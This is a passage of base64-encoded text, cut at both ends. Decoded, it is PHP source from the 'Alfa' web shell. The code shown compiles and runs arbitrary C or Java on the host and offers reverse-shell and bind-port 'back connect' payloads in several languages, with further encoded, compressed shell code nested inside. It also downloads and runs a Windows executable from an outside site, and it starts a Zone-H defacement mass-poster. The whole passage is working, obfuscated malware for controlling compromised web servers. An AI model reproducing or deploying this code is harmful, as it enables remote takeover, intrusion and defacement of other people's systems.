GJyPjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2dldF9yZXNvdXJjZSgkY29udGVudCl7CnJldHVybiBAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkY29udGVudCkpOwp9CmZ1bmN0aW9uIF9fd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewppZigkZmggPSBAZm9wZW4oJGZpbGUsICJ3YiIpKXsKaWYoZndyaXRlKCRmaCwgJGNvbnRlbnQpIT09ZmFsc2UpIHJldHVybiB0cnVlOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBiY2luaXQoJGV2YWxUeXBlLCAkZXZhbENvZGUsICRldmFsT3B0aW9ucywgJGV2YWxBcmd1bWVudHMpewokcmVzID0gIjxmb250IGNvbG9yPSdncmVlbic+WyBTdWNjZXNzLi4uISBdPC9mb250PiI7CiRlcnIgPSAiPGZvbnQgY29sb3I9J3JlZCc+WyBGYWlsZWQuLi4hIF08L2ZvbnQ+IjsKaWYoJGV2YWxPcHRpb25zIT0iIikgJGV2YWxPcHRpb25zID0gJGV2YWxPcHRpb25zLiIgIjsKaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKaWYoJGV2YWxUeXBlPT0iYyIpewokdG1wZGlyID0gQUxGQV9URU1QRElSOwpjaGRpcigkdG1wZGlyKTsKaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewokdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOwokZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsKJHBhdGggPSAkZmlsZW5hbWU7CmlmKF9fd3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRleHQgPSAoJEdMT0JBTFNbJ3N5cyddPT0nd2luJyk/ICIuZXhlIjoiLm91dCI7CiRwYXRocmVzID0gJGZpbGVuYW1lLiRleHQ7CiRldmFsT3B0aW9ucyA9ICItbyAiLiRwYXRocmVzLiIgIi4kZXZhbE9wdGlvbnM7CiRjbWQgPSAiZ2NjICIuJGV2YWxPcHRpb25zLiRwYXRoOwphbGZhRXgoJGNtZCk7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICRwYXRocmVzLiRldmFsQXJndW1lbnRzOwphbGZhRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGgpOwp9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn1lbHNlaWYoJGV2YWxUeXBlPT0iamF2YSIpewokdG1wZGlyID0gQUxGQV9URU1QRElSOwpjaGRpcigkdG1wZGlyKTsKaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewppZihwcmVnX21hdGNoKCIvY2xhc3NcIChbXntdKyl7L2kiLCRldmFsQ29kZSwgJHIpKXsKJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOwokZmlsZW5hbWUgPSAkY2xhc3NuYW1lOwp9ZWxzZXsKJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOwokZXZhbENvZGUgPSAiY2xhc3MgIi4kZmlsZW5hbWUuIiB7ICIuJGV2YWxDb2RlIC4gIiB9ICI7Cn0KJHBhdGggPSAkZmlsZW5hbWUuIi5qYXZhIjsKaWYoX193cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKYWxmYUV4KCRjbWQpOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4iLmNsYXNzIjsKaWYoaXNfZmlsZSgkcGF0aHJlcykpewppZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpewokY21kID0gImphdmEgIi4kZmlsZW5hbWUuJGV2YWxBcmd1bWVudHM7CmFsZmFFeCgkY21kKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGhyZXMpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KfQpyZXR1cm4gJHJlczsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWxmYWNvbm5lY3QoKXsKYWxmYWhlYWQoKTsKJHBocD0iN1ZadGE5c3dFUDVlNkg5UWphRTJTNXVYZmhnMHBEQllQdzdLVnRpSHRqT09MTmNpdHFWSjhwS3hwYjk5ZDM2TDR6aWQxN1d3UVYxd3JidlRvMGU2T3oxaFNnbmxLU2FGTWp5OWQwYnU5UEJBTStNWm5qQXY1Z2szaFUzTVBaN0ltRk51dkRET2RPU2cxVGErdW1kR2t4bGhLeG1MZ0RrV3NRYWt0T2NoRkwzanM3TzNPRmo2TUVpek9NWUJhdzUwQkFNTFVJQUp1Yjc4K0dHMk1rd2wwNnRQNDlueHJYMzErZjNGOGJSMGcyMDZuUE4wQ0pOT3VJWFRFNXo5UU43Rm9VK3VtWjhRSGJFNEpnL2s4QUQ5UENRT0ZWbHFuSXF5UzJaQXl5VS9EZzhJUExZRWdOSTNMVTA1STZzYUdSekJvZ0ZhMW9URm11MUJuWFNpNnB2UlhSTzVOby92dHBmdzZTSmZvbUFkWmlrMVhLUWVXM0Z0dEhNc2FXcGlMeFJxY2V3MkZ1SUJUTjc0OHZTZ0J6RUs3NHljNElZQnh6amp0cnUwajVwMktUUmZlVkFObWdlTzJ3RlFVa1RlMWRsc0dHSGF0VkdRQzA4THVvQ2Ewa3g5WThxeERKWG53K0hvTlA4N3Q4Z3AwSWVhWVVxbG92Z1A4eW9pRlVSWmt5S0R3OVlEY2xZenRlbk9RajZsVEdKY2N6Y1FZa1FzbHNCQVozTVlPVEtTWHBiNkNYUGNBUmtCcHB0djBscnlkTE1QZk1LbDRvWTVOZ1YyQ2RDRnRORWxIc2twc1M2c2FoRjhsaEdQR1o0b09RS2swSWNpMlVLcWl5TEUxQU5pYzNKOTdvcmRlNGx2YU9SWVF4cmNFdWZteTYyK2UrTU9PZllXbnBWUzdnNXVqaDFnR1lCN1UxVnRkSzY5Z0NzSElnR0NSdFYzUjdRdEFHdDdyNjJvVFJzWXhaUG1FZHV5UEV5c0ZvdjgvRW4yUm56TklNSWxjOGpnb29XUDZBVU5IeHI3Y29XVGtJaTFrNFRXeEdiR1JITnY2MFpXYVN3MGErV2dNdGFsVTJ4eGJ6VTA1OW9CMXJ5dmxQL2RHWkhaUmZscFNTNFpKTTVTRnRUWnVNT3hSTWVrMjdHMWdGVFk1RXBRVDBpV0FzdG9nS3RpVVhEWmpNU1VIRUdtRmRNaVV4VFlTcXlZN2Q3SHA5RmU4eGk2QjBVQXdlQ3lncDdvRlRudUhUbnBGVWxiUVdWUEdaWHQ5bEorUXpJUlloYXh5SXJ2Z3BYYlhWTzI4dXNzNVRtczlsQlNiSGRDelRGbUZPNFU1VVBrRWw4TVhxaGVYUzNNVTYreGd2TDNkQ3ZIbXdEZ2d5S082cTQyck9xdHlvck4yMUhyeHdqVTIrdkRvZzUrbkFwOUVvdkpuN0NZL0QyTGpsN1hYYjNlZVFFVXA3M1BNOTdyMlM2Z3ZGY3JiNjFwNitZUGlFbzlVZmEzMVRORU9Tc2FQU3J2ZlpiaWEwdi9ua25iOUxOcjIwN3VYcld0aWI5UDIrQUhhMTkxMHozVXJZZVE2VmNoZXhFaDAwOFNNdjBrSWRNdkxtUzY1K1d0L3ljaDAvK0VrUDJPUlY4aGUybk4rZ1U9IjsKJHB5dGhvbj0icFZSdFQ5c3dFUDZjU3YwUHhwdFdSODBNN1lZMHdZSlVRWmpRQmxSdHAzMEFWcVhPcFltV09wSHRRUG5DYjUvdEpHMUFIVUthcXJhK1Y5OXo5NXpmN2UyWFV1d3ZVcjRQL0I0Vmp5ckplYmVUcm9wY0tDVEFrK1dpRURrREtiMWNldkpSZjNQMkI1U24waFYwTzRXUGNiZVQyTjhJWWlRVHlETEMzS051eHpGeC9qYWVqdk1DT0dHZTlmRm5vdFRaVlpTWDZwblR4VGd3YWhCaWx6cmxMN1d1dmttQUtnVkhSazJybEZSQUdCRzMzNmgwdXBacVZTamlVdUFzajREMFNoVi8vTkxUZVNvSUlWTnB6bXNNYVl4eVNYbTRnajBmYzRXTnpvbDlSdU0wQTU0VGM3dWpQWFJqRkt3SWhyVnQzQ3lZWFBwckJXSjFQSjRPL043NzhhK3prOTV4YmRXcVk5dHltYUNQS2ZyNkFmZWxFaVIyK3hpZHRJWGhWaklYUVNiQkZ2Q1E2TnVSNmFBVkhTVWVxNE1qZEdrQzJEMFpIQXcvdXpRQ0N4RmJpTmdXNjhDYVFhRnEveUtVc3RJMnVSMkRXV01qd2owNXFEWE93aGRBSllTQ0pRU3o2QmFSbTkrMzhxN3ZZazk0Y1JZdXBYRzQrSFoxUFFsT1I5UEFyZU4wcWtXVG8rNWxFYXFFcGpKS0JWblFwY2pMZ2d4Y2QrTmttc21TRjliR3FFY0pQQ0wvbW1EajE4S2k4eGwrV1ZZS3QxMUpxVkRJSTR0VW53M1dPcnVSS2tlYkI5WGtPZysxMUhDa3FlQm9TejU4eTNGZkY3OEV4UjRNei9DSjNvbWxyNWxCUTdHODEwdFY5WFhwK3Y3UTdvZS92Qm5jZFR1UXRTeWYyaFluMFllaGRkR1Z3RHBWdWh0bTZWS3VTS0ZQMHErMmtWWi9wSlpHNS9PTHEyQldyeXFkWHA5K24wOW5rMkIwYVdJMFRHVXNlYkVKbUY3L21CdXZkc3g4RXZ5Y0JxT3pzNGxuTG4xWnZhU2F3UkVoK0lEYUQvWUtPd0JKczFUdkFpZUhSakxNMUNzZnVyN3VBalBFc3l2VDRxQjVSNmpNQUFxTGJUdThuYXZYVUlEZ0p6VEs0aEROSUZ5aHFaa3ZldElUMk0ySkxTRmVDOGVicDJGM2xzM0Q4S3daZG1BR0p0TEV6VGtIcGdoSjZtYnN4bm40QnB6eS8zQytGdjVHbk5MOUN3PT0iOwokcGVybD0ibFpMUmpwTkFGSWF2MjZUdk1PSnNDOGtZV3IxYnBKRlEzRFJyUzhPd0dtT1ZzUFNzVEtRRGdWbTNtKzcyMlowQlZpZkdHTDA3NTUvRGQrQWJuait6YjV2YXZtYmNCdjRkVlZBWG8rRnRBMmdabnAvVE12c0d3aGtOY2RtNCtFdW9xaVozRFRoVVpTMVFIRVFyOXlDZzNqc2JPbk1uVzd6NXNOak9KMDUvTGtPbkpUYzVlc0VNK1RTN01SWHF0TGZ2Wk15c1k0czc4OE1WM1FUK0diSXZEZWRSTGhIdVZ4QlZYWXJ5K3A2bmV6QW5JcXNtbGlRMDdTdVpsSXczYjVQbE9vakptSWIrWlVMaktQQldCQXZyNFdISHdMUzZiVys4Nk9LOTY4NnM0Mmc0d0pXTFZmOXArbG1lRGhvUWlsWldDa2ZEZDRrQ1NTQU5reWk0b29HM1dFUmtwa0FEK1JFN09hVEcwOTJ1VGhnM2NVV1dheldTZU91UGxyWjFVTEJHQUpmanIvUTB6VEtRbTN4Q3JXNjVKUHJFT0NHdnVFbFJET2tlMFJ5S0FwMjIzQ0RUZHFpc2dDTWFMNVpyWXJ3ZSs0YnpGSVJYTVRIbWVoSkVVWi9JNStBQUdaSnF0ZlZaVVRaZytwYlRGZlJub2VoYUk4bGFKNmxXQjJRQ1RXVWxMd2VLNXBmWWwzOFNpL08rblhVdGN4a0hrYVNpbE5weVhRcE8zZCtjWXFhZlp5WG5rS243d2FtZXQvYm9QOWd6ZTN2ek1UVXM1eW5wOWVsUjcwOUZmeFA0Zjk0NlczQlUra3o1SnozK0FBPT0iOwokcnVieT0idFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMWd1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOwokbm9kZT0iblZITGFzTXdFRHdya0g4UXZsaUNvRURUVzhpaDlCUFNXL3BBdGRlUlFKWmNTWFlLSWZuMnlyS2Q1dEdXWWgrRWQyZDJORHRxdU1XdTRqdU5WOWpDUnkwdGtEUVRVdVZ2bFRVWk9KZFNGZ25MNmFRSlpBMytuQnJLbFBhUTh4WjRlWTUyblJNaE05b1pCUmRYZGExSTZWVUVLQlVvNmZ4ZDZya1RhVUJrUVhvM3JGTGNGOGFXck9RK0UyVCt1Z3NzU2VuM1hGYm1ERDRoUFNseXUyMENNQ2kwWmFmWi9qRUZldXZGYXJXZysra0V0WHdSeUdFdmxnWHpIdFpnRzdDa3FIWG1wZEhFUlI1eWJHZWxCNUljOFlNcU9INXFWMTlIRDhkbm5iVDc0UDdydGdxaU1VY1NqWjdqVGpEbmM2bVpCVmVYUU9nMVpHclB3czFKemoxUFpvTVRUTnFhN2djbnNWb2VicFhCMnBIamY0ME5wbSttVVhjS3BxVHpvR1BLbTd1WHRubVlUa0E1d05mWjM1K3lkeGZaUHhxdG9ZdTlWNW5GMTl3c290eC9IZ0g5bGo3NklYWTBNbTgwTW1nMEx1SERGdz09IjsKJGM9InRWSnRiOW93RVA3Y1N2MFBIcDFhcC9XQXNPMFRUYVdvWkJMYUNoSEpORTBiaWxMSE5LY1pHOFZtZ2s3cmI5OGxCQXJaaS9hbFVxemNQZmY0N256UG5ZTGljcGtKY21Wc0JycWRYNThjbis1aEJhajczOEJNd2wwVFhKdU9YUytFK1FOdU5QOG1iQ09naEFVOEhWQ053RklCVnFoQVVKYk1VMUMwTk5MaW5qT2Vwd1c1UVBQN2w2bno0K1Q0cUl3WXhwbjIzRDY2MlBDU0k0SVYweXdyRWxBRVNoeG10THp2ZWIzcTFoRzBEYWhrbHM1QnJqMy9YVEljQlhIL0tiRFFoZlZ5cTVXaHFkVkFxNEx1MUhIMk9HWCt0cWwrRlZYUzRjZ2ZEQ2FKUC9xODRSbHY4M0phRjJEUitPWjlFc1dUd0w5bDNab2piRW5TQzBzTnhqOGtKYWVpSnBQZ1l4U1VHZG1aWmdZZWhKNVJ2VzFoUmw4WVI2ekEwanJSSGFnTVU5REdCTWlGY3dhc3UzSnJtc1RoQ29YRXR4dWZleW5ub3FyZWZlb0pVM0hXZWlTK25LVWtGdW1jUkxtUWtqeCtWUzNXZTdNbFpzdEZENG1Ibm52ZzllcVVheXc3cHkyeEtrZEw0bUJ5NjYyc0tPYjlNSEs5ODVmaHA4SDFlYitPSW9TbTRLU0RqK3FZbkx5Q1Z0MnQxRVpRWGprLzhRaHBCTmxwKy9wWnRDMjN0TEkyek42MG52ZURLUFFXWWpoMWlXUGRNaTdkeTMxa2wvMmZHekVNdzhrNEhpZnhUYmdUbVhLdGxPRDJyOHJXZTlHSU9ZNXoxVDFZajBwVDg3K2Ftb2JuSG5qUG9hblphb3JmTHc9PSI7CiRqYXZhPSJsVlJOYjlzd0REMm5RUCtENEpNOUJHNlQwNGJDd3o2d3c0QUJIWmJldWh3VWhiRzEycklnMFhHQ05QdnRvejdzdW1zdlBkaVd5Q2Z5OFpHeWJIUnJrUDNoZTU3TE5uOTNjM2toSnlZRjZHMlhGN3JiMUZJd1VYTnJHYTkzL0E1NGM3cThtR2tqOXh5QldlUklnSjFVdkk0d2pRd09DR3ByMlYxbGdHOGRmanp3WGVrT1YwajJoa2w3TTNYZGR2amthenYwRE1nZE9HaE1uNStkdnppUW5iQ1NOcGUyb01oK1NjYkNSVHFIVUo5dTkyQ00zTUlrN3I2VlcyWTZsV2FlNXd6Tk1TeG1teVBDL1pwdFdNRVU5TXh2M3k4K0xOYzN3UzhWTWtGT3l1UEtURGRaZFBTVnJDRVZINHZyak1WWU0yS1I5MFlpcEp2NTlWd01VRy9mMVoydDB0SDBhc3l6LzRTMzRDaXE5TnRCZ0ViWktnYlpDWEpTVVpFV1hEemNHUzZBd25td2U0WHFZNzJ4WTc3c2hrdVZrbjVTbFZRb042VU5JcmpLM0RqNDNNSFBSTE1sWHNuVlJxb3JXeVhlSlhmcDZtZ1JtcndFL0dsYURRYVBhZExhWFBFR2tpekg5a2ZiZy9uS0xSSEtwZHJDNFhhWEpyMVVTZWJrT2NXbzlFa0MzNWl0ZDlhLzdET05ISE16eDFZVjFEWDcrMXVGekpQZTlDNzVGOXJiS09HcUZRK0FySXA5Qzl2b0c3dEwxRjI5ZVEycXhLb29Gckg5TTM4TkNwcFRoQkpNcnJteFFCdVB2cjllRC8xWWdhRlppcW5za0dwaVRGMmdBZTI0Mkp3TDE3R2gwYUdYVUZ0Zy81Tlp2cFZNRUUxcXduclhZajFKUEJGQjZqbWI4RHEvTGdWN2ZHU3Y4NW5ld0ZLNnNpdW4vc1E4anZHenkxbTJJM1pxSDhIa0gyN0hZS0p4RXVCK0ozVHdWNmRRTnVDT3h5Vk5FeHhBcERRNFdmeFBrRm8wdFl0WU1PbXNYMUNiT3lKREFvZGVQcUZMOTBmUkx4bU84RVZPVjhlNDl1bmx1SHlTMGIvZWNEUHBPZjhEIjsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQmFjayBDb25uZWN0IHw8L2Rpdj48YnI+PGJyPiI7CmVjaG8gIjxmb3JtIG9uU3VibWl0PVwiZygnY29ubmVjdCcsbnVsbCx0aGlzLnNlbGVjdENiLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLmNibWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+TWVodG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J2NibWV0aG9kJyBvbkNoYW5nZT0nY3RsYmModGhpcyk7JyBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48b3B0aW9uIHZhbHVlPSdiYWNrJz5SZXZlcnNlIFNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmluZCc+QmluZCBQb3J0PC9vcHRpb24+PC9zZWxlY3Q+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VXNlOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdENiJz4iOwokY2JBcnIgPSBhcnJheSgicGhwIj0+IlBocCIsInBlcmwiPT4iUGVybCIsInB5dGhvbiI9PiJQeXRob24iLCJydWJ5Ij0+IlJ1YnkiLCJjIj0+IkMiLCJqYXZhIj0+IkphdmEiLCJub2RlIj0+Ik5vZGVKcyIsImJjd2luIj0+IldpbmRvd3MiKTsKZm9yZWFjaCgkY2JBcnIgYXMgJGtleT0+JHZhbCl7ZWNobygiPG9wdGlvbiB2YWx1ZT0neyRrZXl9JyAiLigkR0xPQkFMU1snc3lzJ109PSd3aW4nPydzZWxlY3RlZCc6JycpLiI+eyR2YWx9PC9vcHRpb24+Iik7fQplY2hvICI8L3NlbGVjdD4gPGRpdiBpZD0nYmNpcEFjdGlvbicgc3R5bGU9J2Rpc3BsYXk6aW5saW5lLWJsb2NrOyc+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5JUDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz48L2Rpdj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5Qb3J0OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDEyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48cD48ZGl2IGlkPSdiY1N0YXR1cyc+PHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPjwvZGl2PjwvcD48L2NlbnRlcj48L2I+PC9mb250Pjxicj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYhZW1wdHkoJF9QT1NUWydhbGZhMSddKSl7CiRsYW5nID0gJF9QT1NUWydhbGZhMSddOwokaXAgPSAkX1BPU1RbJ2FsZmEyJ107CiRwb3J0ID0gJF9QT1NUWydhbGZhMyddOwokYXJnID0gKCRfUE9TVFsnYWxmYTQnXT09J2JpbmQnPyRwb3J0OiRwb3J0LicgJy4kaXApOwokdG1wZGlyID0gQUxGQV9URU1QRElSOwokbmFtZSA9ICR0bXBkaXIuJy8nLiRsYW5nLnVuaXFpZCgpLnJhbmQoMSw5OTk5OSk7CiRhbGxvdyA9IGFycmF5KCdwZXJsJywncnVieScsJ3B5dGhvbicsJ25vZGUnKTsKZXZhbCgnJGxhbj0kJy4kbGFuZy4nOycpOwppZihpbl9hcnJheSgkbGFuZywkYWxsb3cpKXsKaWYoX193cml0ZV9maWxlKCRuYW1lLF9fZ2V0X3Jlc291cmNlKCRsYW4pKSl7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewokb3MgPSAoJEdMT0JBTFNbJ3N5cyddIT0nd2luJyk/JzE+L2Rldi9udWxsIDI+JjEgJic6Jyc7CiRvdXQgPSBhbGZhRXgoIiRsYW5nICRuYW1lICRhcmcgJG9zIik7CmlmKCRvdXQ9PScnKXskb3V0PSI8Zm9udCBjb2xvcj0nZ3JlZW4nPjxjZW50ZXI+WyBGaW5pc2hlZC4uLiEgXTwvY2VudGVyPjwvZm9udD4iO30KZWNobygiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPnskb3V0fTwvcHJlPiIpOwp9Cn1lbHNlewplY2hvKCI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxmb250IGNvbG9yPSdyZWQnPjxjZW50ZXI+WyBGYWlsZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+PC9wcmU+Iik7Cn0KfQppZigkbGFuZz09J2phdmEnfHwkbGFuZz09J2MnKXsKJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsKJG91dCA9IG5sMmJyKGJjaW5pdCgkbGFuZywgJGNvZGUsJycsJycpKTsKZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPnskb3V0fTwvY2VudGVyPjwvcHJlPiIpOwp9CmlmKCRsYW5nPT0nYmN3aW4nKXsKJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsKJHMgPSAkYWxmYS0+U2VuZCgnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9iYy93aW5kb3dzLmV4ZScpOwokdG1wZGlyID0gQUxGQV9URU1QRElSOwokZiA9IEBmb3BlbigkdG1wZGlyLicvYmN3aW4uZXhlJywndysnKTsKQGZ3cml0ZSgkZiwgJHMpOwpAZmNsb3NlKCRmKTsKJG91dCA9IGFsZmFFeCgkdG1wZGlyLiIvYmN3aW4uZXhlICIuJF9QT1NUWydhbGZhMiddLiIgIi4kX1BPU1RbJ2FsZmEzJ10pOwp9CmlmKCRsYW5nPT0ncGhwJyl7CmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsKJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsKaWYoJGNvZGUhPT1mYWxzZSl7CiRjb2RlID0gIlwkdGFyZ2V0ID0gXCIiLiRhcmcuIlwiO1xuIi4kY29kZTsKZXZhbCgkY29kZSk7CmVjaG8oIjxjZW50ZXI+PGZvbnQgY29sb3I9J2dyZWVuJz5bIEZpbmlzaGVkLi4uISBdPC9mb250PjwvY2VudGVyPiIpOwp9CmVjaG8gIjwvcHJlPiI7Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXpvbmVoKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKXsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48Yj48YmlnPjxiaWc+UEhQIENVUkwgTk9UIEVYSVNUIH4gWk9ORSBIIE1BU1MgUE9TVEVSIERPRVMgTk9UIFdPUks8L2I+PC9mb250PjwvYmlnPjwvYmlnPjwvY2VudGVyPjwvcHJlPiI7Cn0KJGhhY2ttb2RlID0gYXJyYXkoJ2tub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSknLCd1bmRpc2Nsb3NlZCAobmV3KSB2dWxuZXJhYmlsaXR5JywnY29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlJywnYnJ1dGUgZm9yY2UgYXR0YWNrJywnc29jaWFsIGVuZ2luZWVyaW5nJywnV2ViIFNlcnZlciBpbnRydXNpb24nLCdXZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb24nLCdNYWlsIFNlcnZlciBpbnRydXNpb24nLCdGVFAgU2VydmVyIGludHJ1c2lvbicsJ1NTSCBTZXJ2ZXIgaW50cnVzaW9uJywnVGVsbmV0IFNlcnZlciBpbnRydXNpb24nLCdSUEMgU2VydmVyIGludHJ1c2lvbicsJ1NoYXJlcyBtaXNjb25maWd1cmF0aW9uJywnT3RoZXIgU2VydmVyIGludHJ1c2lvbicsJ1NRTCBJbmplY3Rpb24nLCdVUkwgUG9pc29uaW5nJywnRmlsZSBJbmNsdXNpb24nLCdPdGhlciBXZWIgQXBwbGljYXRpb24gYnVnJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBzb2NpYWwgZW5naW5lZXJpbmcnLCdBdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKScsJ0FjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjaycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3